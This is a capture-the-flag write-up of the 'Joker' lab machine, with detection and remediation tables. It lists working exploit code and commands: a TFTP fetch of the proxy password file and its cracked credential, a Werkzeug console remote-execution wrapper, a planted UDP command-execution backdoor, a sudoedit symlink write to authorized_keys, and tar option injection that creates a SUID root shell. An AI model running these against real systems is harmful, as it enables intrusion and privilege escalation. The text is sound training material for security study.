HTB: Joker
A TFTP daemon rooted in the Squid configuration directory gives up the proxy password file, the proxy reaches a Werkzeug debugger bound to localhost, a sudoedit wildcard follows a symlink into another user's authorized_keys, and a root cron job runs tar over a glob.
- Published
- Reading time
- 33 min
- Difficulty
- hard
- Target
- Linux (Joker)
Overview
Joker is a hard-rated Linux machine on Ubuntu with a 4.8 kernel. Two TCP ports answer: SSH and a Squid proxy that wants a password. The way in is on UDP, where a TFTP daemon serves the directory holding the proxy’s configuration and its password file.
TFTP gives the proxy credential. The proxy reaches a web application bound to 127.0.0.1 that runs the Werkzeug
debugger, a Python console for anyone who can request it. A sudo rule for
sudoedit with a wildcard path, on a host that follows symlinks, moves from the
web user to alekos. A root cron job running tar cf ... * moves from alekos
to root.
The host firewall drops every new outbound TCP connection, so the usual reverse shell never arrives. UDP is open, and that is the channel I use.
This is a second run of a box already owned on my account, with no notes kept from the first. It is run as if unseen. Two file paths are guesses and one decision was coloured by memory; each is marked where it happens.
Reconnaissance
Three scans in parallel:
nmap -sC -sV -oN scans/01-top1000.nmap 10.129.1.116
nmap -p- --min-rate 2000 -oN scans/02-full.nmap 10.129.1.116
nmap -sU --top-ports 20 -oN scans/03-udp20.nmap 10.129.1.116
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
[...]
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.12
The full TCP scan finds the same two ports and 65,533 filtered: a default-drop
firewall, not closed ports. The UDP scan leaves five ports open|filtered (53,
68, 69, 137, 445), which says only that no ICMP rejection came back. A version
scan on four of them finds the live one. I left 68, the DHCP client port, out;
the socket list later shows a listener there, as expected of a DHCP client.
nmap -sU -sV -p 53,69,137,445 10.129.1.116
PORT STATE SERVICE VERSION
53/udp closed domain
69/udp open tftp Netkit tftpd or atftpd
137/udp closed netbios-ns
445/udp closed microsoft-ds
The proxy, asked for anything without credentials, names its realm:
curl -s -m 15 -i -x http://10.129.1.116:3128 http://127.0.0.1/
HTTP/1.1 407 Proxy Authentication Required
Server: squid/3.5.12
[...]
X-Squid-Error: ERR_CACHE_ACCESS_DENIED 0
[...]
Proxy-Authenticate: Basic realm="kalamari"
A dead end of my own making
The first TFTP reads cost about two and a half minutes and told me nothing. My
container has no tftp client, so I use curl tftp:// on four names: the
Squid configuration at its Debian default path (a guess from the banner, the
first of the two guessed paths), the same file by bare name, /etc/passwd,
and a name that cannot exist:
for f in /etc/squid/squid.conf squid.conf /etc/passwd nonexistent-negative-control; do
echo "### $f"; curl -s -S -m 25 "tftp://10.129.1.116/$f" -o "artifacts/tftp-$(basename $f)"; echo "rc=$?"
ls -la "artifacts/tftp-$(basename $f)" 2>&1
done
### /etc/squid/squid.conf
curl: (28) Operation timed out after 25001 milliseconds with 0 bytes received
rc=28
ls: cannot access 'artifacts/tftp-squid.conf': No such file or directory
[...]
### nonexistent-negative-control
curl: (28) Operation timed out after 25001 milliseconds with 0 bytes received
rc=28
ls: cannot access 'artifacts/tftp-nonexistent-negative-control': No such file or directory
A missing file should produce an immediate error packet. A timeout on the negative control puts the fault between the server and my socket. A plain Python UDP client times out the same way, which rules out curl.
TFTP answers a read request from a fresh server port, not from 69, so a
stateful firewall on the client sees a packet that matches no flow it knows.
The connection-tracking helper for TFTP is not loaded on my laptop. That part
is an inference: the container has no tcpdump to show the dropped packets.
I leave the firewall alone and write a client that sends from an ordinary socket and reads replies off the tunnel with a packet socket, which sees traffic before the filter. It gets answers where the ordinary socket got none, which is the evidence that the filter was eating them. The listing omits two comment lines.
#!/usr/bin/env python3
# usage: tftp_get.py <host> <remote> <local>
import socket, struct, sys, time
host, remote, local = sys.argv[1:4]
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("", 0))
sport = s.getsockname()[1]
r = socket.socket(socket.AF_PACKET, socket.SOCK_DGRAM, socket.htons(0x0800))
r.bind(("tun0", 0))
r.settimeout(1)
s.sendto(b"\x00\x01" + remote.encode() + b"\x00octet\x00", (host, 69))
data, want, deadline = b"", 1, time.time() + 10
while True:
if time.time() > deadline:
print(f"{remote}: timeout after {len(data)} bytes"); sys.exit(2)
try:
pkt = r.recv(65535)
except socket.timeout:
continue
ihl = (pkt[0] & 0xF) * 4
if pkt[9] != 17 or socket.inet_ntoa(pkt[12:16]) != host:
continue
usport, udport = struct.unpack("!HH", pkt[ihl:ihl + 4])
if udport != sport:
continue
t = pkt[ihl + 8:]
op, n = struct.unpack("!HH", t[:4])
if op == 5:
print(f"{remote}: ERROR {n} {t[4:].rstrip(bytes(1)).decode(errors='replace')}"); sys.exit(1)
if op != 3:
continue
if n == want:
data += t[4:]
want += 1
deadline = time.time() + 10
s.sendto(struct.pack("!HH", 4, n), (host, usport))
if n == want - 1 and len(t) - 4 < 512:
break
open(local, "wb").write(data)
print(f"{remote}: {len(data)} bytes -> {local}")
for f in /etc/passwd negative-control-nonexistent /etc/squid/squid.conf squid.conf; do
python3 artifacts/tftp_get.py 10.129.1.116 $f artifacts/tftp-$(basename $f)
done
/etc/passwd: ERROR 2 Access violation
negative-control-nonexistent: ERROR 1 File not found
/etc/squid/squid.conf: 287531 bytes -> artifacts/tftp-squid.conf
squid.conf: 287531 bytes -> artifacts/tftp-squid.conf
Four requests, four different facts. /etc/passwd is refused. A relative name
that does not exist is reported missing. The Squid configuration comes back by
its absolute path and by the bare name squid.conf, so relative names resolve
inside /etc/squid: that directory is the daemon’s root.
Both downloads wrote the same local file, which my loop should not have allowed. Each took about two and a half minutes: 562 blocks, one per 250 ms round trip.
I did not test an absolute path that is missing, inside or outside the directory, so I cannot say whether the daemon tells “not allowed” from “not there” for absolute names.
Attack Surface Analysis
TFTP rooted in the proxy’s configuration directory (CWE-306, CWE-552)
With comments and blank lines stripped (grep -v -E '^\s*(#|$)'), the
configuration has 27 lines. The access
control and authentication lines are these:
acl SSL_ports port 443
acl Safe_ports port 80 # http
acl Safe_ports port 21 # ftp
acl Safe_ports port 443 # https
[...]
acl Safe_ports port 1025-65535 # unregistered ports
[...]
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access deny manager
auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwords
auth_param basic realm kalamari
acl authenticated proxy_auth REQUIRED
http_access allow authenticated
http_access deny all
http_port 3128
The configuration names the password file, in the directory TFTP serves.
An authenticated proxy with no destination ACL (CWE-441)
http_access allow authenticated has no destination condition. Anyone who
authenticates can ask Squid for any host on any of the Safe_ports, and that
includes 127.0.0.1 on the proxy host itself.
Werkzeug debugger console (CWE-489, CWE-94)
Behind the proxy, port 80 on loopback is a URL shortener served by
Werkzeug/0.10.5-dev with the debugger’s console published at /console.
sudoedit with a wildcard path and symlink following (CWE-59)
The web user may run sudoedit /var/www/*/*/layout.html as alekos, on a host
whose sudoers turns symlink following on.
tar over a glob in a root cron job (CWE-88)
A root job runs tar cf ... * in a directory alekos owns. File names that
start with -- become options.
Vulnerability Analysis
The blocks in this section were read after root, except where noted. The xinetd entry for TFTP:
service tftp
{
protocol = udp
port = 69
socket_type = dgram
wait = yes
user = nobody
server = /usr/sbin/in.tftpd
server_args = /etc/squid
disable = no
}
The directory argument is what confines the daemon, and it is why /etc/passwd
was refused. The uid matters only inside that directory: both Squid files are
world-readable (-rw-r--r-- root:root /etc/squid/passwords), so nobody can
serve them. The password file holds one $apr1$ entry, salted MD5 at 1,000
rounds, which my laptop tests at about 250,000 candidates a second.
The Werkzeug console is not a bug in the application. The debugger evaluates
Python in the server process by design, and this release predates the PIN that
later versions demand. The page carries a SECRET that the JavaScript returns
with each command; the server hands it to anyone who requests the page. The
boot script starts the server with the debugger on:
/usr/bin/authbind --deep /usr/bin/python /var/www/manage-shorty.py runserver --debugger --reload;
The sudo rule fails for two reasons that only matter together:
Defaults sudoedit_follow
Defaults !sudoedit_checkdir
werkzeug ALL=(alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html
The first * matches testing, a directory the web user owns, and the second
matches any directory created inside it. I ran no control with a deeper path,
so I do not claim how far the wildcard reaches.
sudoedit_follow tells
sudoedit to open symlinks, and !sudoedit_checkdir switches off the refusal to
edit files in a directory the invoking user can write. Both protections arrived
in sudo 1.8.15 and 1.8.16 in answer to CVE-2015-5602. This host runs 1.8.16, so
it is not affected by the CVE; it has configured the old behaviour back in.
The cron script:
#!/bin/sh
FILENAME="dev-$(date +%s).tar.gz"
cd /home/alekos/development;
tar cf /home/alekos/backup/$FILENAME *;
chown root:alekos /home/alekos/backup/$FILENAME;
chmod 640 /home/alekos/backup/$FILENAME;
The shell expands * before tar starts, and tar cannot tell a file called
--checkpoint=1 from the option. The script has a second weakness that I did
not exercise: alekos owns /home/alekos, so development can be renamed and
replaced with a symlink to /root. The next archive would then hold root’s
files, mode 640 with group alekos.
Exploitation
Phase 1: proxy credential from TFTP
python3 artifacts/tftp_get.py 10.129.1.116 /etc/squid/passwords artifacts/tftp-squid-passwords
john --wordlist=/usr/share/wordlists/rockyou.txt --pot=artifacts/john.pot artifacts/tftp-squid-passwords
john --pot=artifacts/john.pot --show artifacts/tftp-squid-passwords
/etc/squid/passwords: 47 bytes -> artifacts/tftp-squid-passwords
[...]
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 512/512 AVX-512 16x3])
[...]
1g 0:00:00:29 DONE (2026-11-23 15:53) 0.03426g/s 250737p/s 250737c/s 250737C/s iheartab1..ihatepz
[...]
kalamari:ihateseafood
[...]
With the credential the proxy fetches loopback. A wrong password in the same call still gets 407, and a sweep of eleven ports follows:
P="-x http://kalamari:ihateseafood@10.129.1.116:3128"
curl -s -m 20 -i $P http://127.0.0.1/ | head -60
echo "### neg control wrong password"
curl -s -m 20 -o /dev/null -w "%{http_code}\n" -x http://kalamari:wrong@10.129.1.116:3128 http://127.0.0.1/
echo "### ports"
for p in 21 22 80 443 3128 5000 8000 8080 8443 8888 9000; do
printf "%s " $p; curl -s -m 10 -o /dev/null -w "%{http_code} %{size_download}\n" $P http://127.0.0.1:$p/
done
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 899
Server: Werkzeug/0.10.5-dev Python/2.7.12+
[...]
<title>Shorty</title>
[...]
### neg control wrong password
407
### ports
21 503 3639
22 403 3586
80 200 899
443 503 3642
3128 400 3513
5000 503 3645
[...]
9000 503 3645
Port 22 is 403: Squid’s Safe_ports rule refuses it, so that line says nothing
about a listener. The 503 lines are ports Squid tried and could not connect
to, and 400 on 3128 is the proxy asked for itself. Only 80 serves content. A
ffuf pass through the proxy finds console (200) and list (301):
ffuf -s -u http://127.0.0.1/FUZZ -x http://kalamari:ihateseafood@10.129.1.116:3128 \
-w /usr/share/seclists/Discovery/Web-Content/common.txt -t 10 -mc 200,301,302,401,403,405,500 \
-of csv -o artifacts/13-ffuf-common.csv
Phase 2: code execution as werkzeug, and a shell over UDP
The console page:
<title>Console // Werkzeug Debugger</title>
[...]
var TRACEBACK = -1,
CONSOLE_MODE = true,
EVALEX = true,
SECRET = "[...]";
A command is one GET request. This wrapper fetches the secret and sends it:
#!/usr/bin/env bash
# run one Python expression in the Werkzeug console through the proxy: wz.sh '<python>'
set -euo pipefail
P="http://kalamari:ihateseafood@10.129.1.116:3128"
S=$(curl -s -m 20 -x "$P" http://127.0.0.1/console | grep -o 'SECRET = "[^"]*"' | cut -d'"' -f2)
curl -s -m 30 -x "$P" -G http://127.0.0.1/console \
--data-urlencode "__debugger__=yes" --data-urlencode "cmd=$1" --data-urlencode "frm=0" --data-urlencode "s=$S"
I allow myself three commands through a web primitive before moving to a
shell, so the first has to decide the shell. The scan showed 65,533 filtered
ports, so a packet filter is in play and the question is what it lets out.
I also remembered from the first run that getting a connection out of this box
was a problem, which made me ask sooner than the scan alone might have. The
file is the iptables-persistent default, the second guessed path.
bash artifacts/wz.sh "import os; print os.popen(\"id; uname -a; ls -la /etc/iptables/ 2>&1; cat /etc/iptables/rules.v4 2>&1\").read()"
uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)
Linux joker 4.8.0-52-generic #55-Ubuntu SMP Fri Apr 28 13:28:50 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
[...]
:INPUT DROP [41573:1829596]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [878:221932]
-A INPUT -i ens160 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i ens160 -p tcp -m tcp --dport 3128 -j ACCEPT
-A INPUT -i ens160 -p udp -j ACCEPT
-A INPUT -i ens160 -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o ens160 -p tcp -m state --state NEW -j DROP
This is the saved rule file; iptables -S run after root shows the same six
rules and three policies live. New outbound TCP is dropped. UDP may leave and may enter.
The common answer is a UDP reverse shell, but the TFTP episode showed my side discards UDP it did not ask for. So I turn the direction round: a server on the target that runs each datagram carrying a token as a shell command and replies to the sender’s port. Replies to my own packets are an established flow. The server, without its two header comment lines:
import socket, subprocess
K = 'jk7f3a:'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('0.0.0.0', 40123))
while 1:
d, a = s.recvfrom(65535)
if not d.startswith(K):
continue
try:
o = subprocess.Popen(d[len(K):], shell=True, stdout=subprocess.PIPE,
stderr=subprocess.STDOUT, stdin=open('/dev/null')).communicate()[0]
except Exception as e:
o = str(e)
n = (len(o) + 1199) // 1200
for i in range(n):
s.sendto('%06d:' % i + o[i * 1200:(i + 1) * 1200], a)
s.sendto('__END__%d' % n, a)
The client, sh.py:
#!/usr/bin/env python3
# client for udpsrv.py: sh.py '<command>' [timeout_seconds]
import socket, sys
cmd = sys.argv[1]
wait = float(sys.argv[2]) if len(sys.argv) > 2 else 20
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(wait)
s.sendto(b"jk7f3a:" + cmd.encode(), ("10.129.1.116", 40123))
parts, total = {}, None
try:
while total is None or len(parts) < total:
d, _ = s.recvfrom(65535)
if d.startswith(b"__END__"):
total = int(d[7:])
s.settimeout(2)
else:
parts[int(d[:6])] = d[7:]
except socket.timeout:
if total is None:
sys.stderr.write("[sh.py] no END marker within timeout\n")
elif len(parts) < total:
sys.stderr.write("[sh.py] %d of %d chunks lost\n" % (total - len(parts), total))
sys.stdout.buffer.write(b"".join(parts[k] for k in sorted(parts)))
The second console command carries the server as base64 ($B), writes it to
/dev/shm and starts it. The reply is the console’s raw HTML, entities and
all:
B=$(base64 -w0 udpsrv.py)
bash artifacts/wz.sh 'import os,base64; open("/dev/shm/.u.py","w").write(base64.b64decode("'$B'")); print os.popen("(nohup python /dev/shm/.u.py >/dev/null 2>&1 &) ; sleep 1; pgrep -af .u.py").read()'
1813 sh -c (nohup python /dev/shm/.u.py >/dev/null 2>&1 &) ; sleep 1; pgrep -af .u.py
1815 python /dev/shm/.u.py
python3 artifacts/sh.py 'id; hostname; pwd; ls -la'
uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)
joker
/var/www
total 20
drwxr-xr-x 4 root root 4096 May 18 2017 .
drwxr-xr-x 14 root root 4096 Oct 23 2016 ..
-rwxr-x--- 1 root werkzeug 581 May 18 2017 manage-shorty.py
drwxr-x--- 5 root werkzeug 4096 May 18 2017 shorty
drwxr-xr-x 2 werkzeug werkzeug 4096 May 18 2017 testing
The third console command is never needed.
Phase 3: werkzeug to alekos through sudoedit
One enumeration command over the UDP shell covers sudo, users, home directories, cron and sockets:
python3 artifacts/sh.py 'sudo -n -l 2>&1; sudo -V | head -1; [...]; ss -lntup 2>&1'
Matching Defaults entries for werkzeug on joker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, sudoedit_follow, !sudoedit_checkdir
User werkzeug may run the following commands on joker:
(alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html
Sudo version 1.8.16
[...]
udp UNCONN 0 0 *:68 *:*
[...]
udp UNCONN 0 0 *:40123 *:* users:(("ss",pid=1832,fd=5),("sh",pid=1822,fd=5),("python",pid=1815,fd=5))
[...]
tcp LISTEN 0 128 127.0.0.1:80 *:* users:(("ss",pid=1832,fd=4),("sh",pid=1822,fd=4),("python",pid=1815,fd=4),("python",pid=1600,fd=4))
The socket list settles two things. The application is bound to 127.0.0.1,
so the proxy is the only remote route to it; manage-shorty.py, read in the
same command, passes the lo address to runserver. And my command server is
in the list, owned by the web user. It also holds the application’s listening
socket, inherited through os.popen: a side effect I should have avoided by
closing descriptors in the launcher.
The target of the write is /home/alekos/.ssh/authorized_keys. I look before
changing it (ls -la /home/alekos/.ssh; wc -c /home/alekos/.ssh/*): the file
exists at zero bytes, so there is nothing to preserve. I make a key pair locally, then put the public key and an editor script on the
target. sudoedit wants an editor, and with no terminal the editor appends my
key to the temporary file it is handed.
ssh-keygen -q -t ed25519 -N '' -C joker-lab -f artifacts/id_joker
PUB=$(cat artifacts/id_joker.pub)
python3 artifacts/sh.py 'cd /dev/shm; echo "'"$PUB"'" > k.pub; printf "#!/bin/sh\ncat /dev/shm/k.pub >> \"\$1\"\n" > e.sh; chmod 755 e.sh; cat e.sh'
#!/bin/sh
cat /dev/shm/k.pub >> "$1"
The upload, the mkdir and ln shown further down, and the first attempt all
went in one call. The attempt fails, and the control fails with it:
### control: direct path
sudo: a password is required
### symlink
[...]
sudo: a password is required
rc=1
I had written sudo -n -u alekos sudoedit and the path. In that form sudo
looks for a program called sudoedit to run as alekos, which no rule
allows. The rule uses the built-in keyword, matched only when the command is
invoked as sudoedit or sudo -e. The correct form, with the direct path as a
control, sent as one command through sh.py:
echo "### control: direct path"
SUDO_EDITOR=/dev/shm/e.sh sudoedit -n -u alekos /home/alekos/.ssh/authorized_keys 2>&1; echo rc=$?
echo "### symlink"
mkdir -p /var/www/testing/x && ln -s /home/alekos/.ssh/authorized_keys /var/www/testing/x/layout.html
SUDO_EDITOR=/dev/shm/e.sh sudoedit -n -u alekos /var/www/testing/x/layout.html 2>&1; echo rc=$?
ls -la /home/alekos/.ssh/; cut -c1-40 /home/alekos/.ssh/authorized_keys
The mkdir and ln ran in the failed call and were not repeated.
### control: direct path
sudoedit: a password is required
rc=1
### symlink
rc=0
total 12
drwxr-xr-x 2 alekos alekos 4096 May 20 2017 .
drwxr-xr-x 7 alekos alekos 4096 May 19 2017 ..
-rw-r--r-- 1 alekos alekos 91 Nov 23 17:57 authorized_keys
[...]
The direct path is refused; the same file through a symlink with an approved name is written. SSH is one of the two TCP ports the firewall lets in:
ssh -i artifacts/id_joker -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR \
-o ConnectTimeout=20 alekos@10.129.1.116 'id; hostname; wc -c user.txt; cat user.txt > /dev/null && echo readable'
uid=1001(alekos) gid=1001(alekos) groups=1001(alekos),1000(werkzeug)
joker
33 user.txt
readable
Phase 4: alekos to root through tar
The home directory has a backup directory owned by root holding 287
archives. I list only the last eight. Five are dated 28 September 2020, five
minutes apart, left in the image from an earlier boot. Three are from this
boot:
ls -la --time-style=full-iso backup | tail -8; ls backup | wc -l
f=$(ls -t backup | head -1); tar tvf backup/$f | head -30
[...]
-rw-r----- 1 root alekos 40960 2020-09-28 15:00:01.956000000 +0300 dev-1601294401.tar.gz
-rw-r----- 1 root alekos 40960 2026-11-23 17:45:01.107997428 +0200 dev-1795448701.tar.gz
-rw-r----- 1 root alekos 40960 2026-11-23 17:50:01.143994336 +0200 dev-1795449001.tar.gz
-rw-r----- 1 root alekos 40960 2026-11-23 17:55:01.155991245 +0200 dev-1795449301.tar.gz
287
[...]
-rw-r----- alekos/alekos 0 2017-05-18 19:01 __init__.py
-rw-r----- alekos/alekos 1452 2017-05-18 19:01 application.py
drwxrwx--- alekos/alekos 0 2017-05-18 19:01 data/
[...]
Members with no leading directory, in glob order: the signature of
cd development && tar cf ... * run by root. I cannot read the script yet, so
this is an inference from the archive. The payload, x.sh:
#!/bin/sh
cp /bin/bash /var/tmp/.rb && chmod 4755 /var/tmp/.rb
Here I break my own rule that an exploit with side effects is tested locally
first. A quoting error makes the local test print nothing, and the same chain
of commands goes on to plant the files twelve seconds before I have a valid
local result. The corrected test, in my container on GNU tar 1.35 (the target
has 1.29), with a control that puts -- before the glob:
T=$(mktemp -d); mkdir $T/dev; cd $T/dev; head -c 30000 /dev/urandom > blob
printf "#!/bin/sh\nid > $T/fired\n" > x.sh
touch -- "--checkpoint=1" "--checkpoint-action=exec=sh x.sh"; tar cf $T/out.tar *
echo "local-test fired: $(cat $T/fired)"
mkdir $T/ctl; cd $T/ctl; head -c 30000 /dev/urandom > blob
printf "#!/bin/sh\nid > $T/fired-ctl\n" > x.sh
touch -- "--checkpoint=1" "--checkpoint-action=exec=sh x.sh"; tar cf $T/ctl.tar -- *
echo "control with -- : $(cat $T/fired-ctl 2>&1)"; tar --version | head -1
local-test fired: uid=0(root) gid=0(root) groups=0(root)
control with -- : cat: /tmp/tmp.2u89r6RUlt/fired-ctl: No such file or directory
tar (GNU tar) 1.35
On the target, x.sh goes up with scp and the two option files are created
over SSH as alekos:
scp -q -i artifacts/id_joker [...] artifacts/x.sh alekos@10.129.1.116:development/x.sh
cd development && touch -- "--checkpoint=1" "--checkpoint-action=exec=sh x.sh" && ls -la; date
-rw-rw-r-- 1 alekos alekos 0 Nov 23 17:58 --checkpoint=1
-rw-rw-r-- 1 alekos alekos 0 Nov 23 17:58 --checkpoint-action=exec=sh x.sh
[...]
-rw-rw-r-- 1 alekos alekos 63 Nov 23 17:58 x.sh
Mon Nov 23 17:58:29 EET 2026
A first wait expires at 17:59:46 with nothing. The second:
for i in $(seq 1 20); do [ -e /var/tmp/.rb ] && break; sleep 2; done
date; ls -la /var/tmp/.rb; ls -la --time-style=full-iso backup | tail -2; /var/tmp/.rb -p -c id
Mon Nov 23 18:00:01 EET 2026
-rwsr-xr-x 1 root root 1041576 Nov 23 18:00 /var/tmp/.rb
[...]
-rw-r----- 1 root alekos 40960 2026-11-23 18:00:01.191988153 +0200 dev-1795449601.tar.gz
uid=1001(alekos) gid=1001(alekos) euid=0(root) groups=1001(alekos),1000(werkzeug)
Root, eighteen minutes after the first scan.
Post-Exploitation
With an effective uid of 0 I read what explains the chain: root’s crontab from
the spool (*/5 * * * * /root/backup.sh; crontab -l under a setuid shell
answers for the real uid), the backup script, the sudoers file, the xinetd
entry and the boot script quoted above.
sshd_config has PermitRootLogin yes, so a key in root’s authorized_keys
would have been durable access over an allowed port. I did not add one.
Nothing was cleaned up: the instance was terminated with my key, the SUID copy and the UDP server
still on it.
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| TFTP read of proxy files | T1552.001 | log_on_success += HOST in the xinetd entry; any client address is anomalous |
| Offline hash crack | T1110.002 | None on the host; prevented by not exposing the file |
| Proxy to loopback | T1090 | Squid access.log: destination 127.0.0.1, with the authenticated user |
| Werkzeug console | T1190, T1059.006 | The application’s request log for __debugger__=yes; children of the server |
| UDP command channel | T1095 | Socket inventory: a UDP listener owned by the web user (the ss line above) |
| sudoedit through a symlink | T1548.003 | sudo’s syslog line for sudoedit; auditd watch on writes to authorized_keys |
| tar option injection via cron | T1053.003 | File names beginning with -- in a backed-up directory; a new SUID file |
I did not read the Squid log on the box, so the proxy row is what the log
format records, not something I observed. Squid strips query strings from
access.log by default (strip_query_terms on), so the debugger parameter
shows only in the application’s own log unless that setting is changed.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove the tftp xinetd service, or serve an empty directory | Low | Critical |
| P0 | Start the application without --debugger, under a WSGI server |
Low | Critical |
| P0 | http_access deny to_localhost ahead of the allow rule in squid.conf |
Low | Critical |
| P0 | Drop sudoedit_follow and !sudoedit_checkdir; name one fixed path in a root-owned directory |
Low | Critical |
| P0 | Backup: root opens the output in a root-owned directory; only tar cf - -- * runs, as alekos |
Low | Critical |
| P1 | chmod 640 and chgrp proxy on /etc/squid/passwords; rotate the proxy password |
Low | High |
| P1 | Egress: drop NEW on every protocol with named exceptions; inbound UDP only where needed | Low | High |
| P2 | PermitRootLogin no |
Low | Medium |
to_localhost is enough here because the listener is on 127.0.0.1 only; an
application bound to all addresses would also need a dst rule for the host’s
own address. The backup row has three parts because -- alone leaves the
directory swap described earlier.
The egress rule that blocks outbound TCP is a good control and it removed the easy shell. It covered one protocol: UDP could leave freely, and my choice of an inbound channel came from my own firewall, not from anything the target enforced.
Key Takeaways
-
A UDP port that nmap calls
open|filteredis unexamined, not closed. -
Send the negative control with the test.
-
Read the firewall before choosing a shell.
-
A proxy turns loopback into a network service.
-
A sudoers wildcard constrains a name, not a file.
-
A privileged job must not trust a directory its target user owns.
--before the glob closes the option injection; only moving the job out of the user’s reach closes the rest.